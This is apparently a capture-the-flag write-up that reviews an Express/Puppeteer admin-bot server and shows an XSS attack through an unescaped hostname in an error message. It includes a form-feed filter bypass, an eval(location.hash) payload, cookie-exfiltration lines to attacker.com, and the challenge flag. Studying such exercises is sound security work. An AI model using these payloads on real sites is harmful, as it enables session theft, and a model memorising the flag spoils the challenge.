XSS 401
Note: The Node Version is 12.22.1
Website:
Source Code Review:
server.js
const express = require('express')
const puppeteer = require('puppeteer')
const escape = require('escape-html')
const app = express()
const port = 3000
app.use(express.static(__dirname + '/webapp'))
const visitUrl = async (url, cookieDomain) => {
let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,
args: [
'--incognito',
'--no-sandbox',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
]
})
try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
try {
await page.setCookie({
name: 'flag',
value: process.env.FLAG,
domain: cookieDomain,
httpOnly: false,
samesite: 'strict'
})
await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
finally {
browser.close()
}
}
app.get('/visit', async (req, res) => {
const url = req.query.url
console.log('received url: ', url)
let parsedURL
try {
parsedURL = new URL(url)
}
catch (e) {
res.send(escape(e.message))
return
}
if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
res.send('Please provide a URL with the http or https protocol.')
return
}
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
return
}
try {
console.log('visiting url: ', url)
await visitUrl(url, req.hostname)
res.send('Our admin bot has visited your URL!')
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting your URL: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)
}
})
app.listen(port, async () => {
console.log(`Listening on ${port}`)
})
This the a XSS chal, We need to find XSS to Steal Admin Cookies.
There is only one Functionality, We can Send URL to Admin Bot, Bot will Open the Link in Browser with Flag in Cookies.
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
return
}
Ex:
var url = 'https://google.com'
parsedURL = new URL(url)
console.log(parsedURL.hostname)
Output:
google.com
req.hostname is Just Host Header.
We cannot Control req.hostname value, Bcoz the Chal was Hosted in google Cloud. So, if we Changed the Value, it gives 404
Chal Description says: Note: The Node Version is 12.22.1
After Some Research, I came Across a CVE(CVE-2021-22931)
missing input validation of host names returned by Domain Name Servers in Node.js dns library which can lead to output of wrong hostnames...
But, I cannot find any Public Exploits.
HTML Injection Due to CVE-2021-22931
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
return
}
If You Look Closer, the ${parsedURL.hostname} is Not escaped.
URL :
https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<h1>godson</h1>
Some RFC’s for HostName:
- Should not contain space
- No matter, Upper case or Lower case, hostname will automatically converted to lowercase by the browser
- Here Some chars that Break the hostname
? / \ # @
Exploit IDEA:
- We need a Payload without space and the without the above chars.
- UrlEncoding the
white space
doesn’t work.
- Unicodes are Allowed in Hostnames
- We Need to find a Unicode Char that Act like a white space, So we can Use that unicode as space to Bypass the RFC rules.
Harmless XSS:
- After 20 Min of Research, I came across a Blog with this payload. “Form Feed Injection”
Weaponizing XSS:
So, Now We have a XSS.
My First Idea was to use btoa(base64) to Encode the Cookies and Redirect the Bot to attacker server with the Cookies as path. (onload=window.location = 'http://attacker.com/?'+btoa(document.cookie)
)
As i Mentioned Above, Upper case or Lower case, hostname will automatically converted to lowercase by the browser
So, Now the the Encoded Base64 cookie will be automatically converted to Lower Case. Usually Base64 is a Mix of Both Upper and Lower Case letters
If You Look Closer to The Above Image, the Payload is alert('AAABBBCCC')
. But the Browser Automatically Converted the upper case to lowercase. bcoz, THIS IS HOSTNAME. lol —
After 1 Hour, I realized, We can Write our Javascript Outside the Hostname and call the payload from Hostname.
Ex:
https://https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>#alert('AABBCCaabbcc')
location.hash.slice(1)
return the value after #
eval
is a Javascript Function to run the Javascript Code.
- Now, Browser Doesn’t Converted the Upper Case to Lowercase.
Flag:
try {
await page.setCookie({
name: 'flag',
value: process.env.FLAG,
domain: cookieDomain,
httpOnly: false,
samesite: 'strict'
})
From the Above Code, We know that, Flag is in the Admin Bot’s Cookie
Exploit:
URL:
https://chal.link/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://attacker.com/?'+document.cookie
Flag: wsc{wh0_kn3w_d0m41n_x55_w4s_4_th1n6}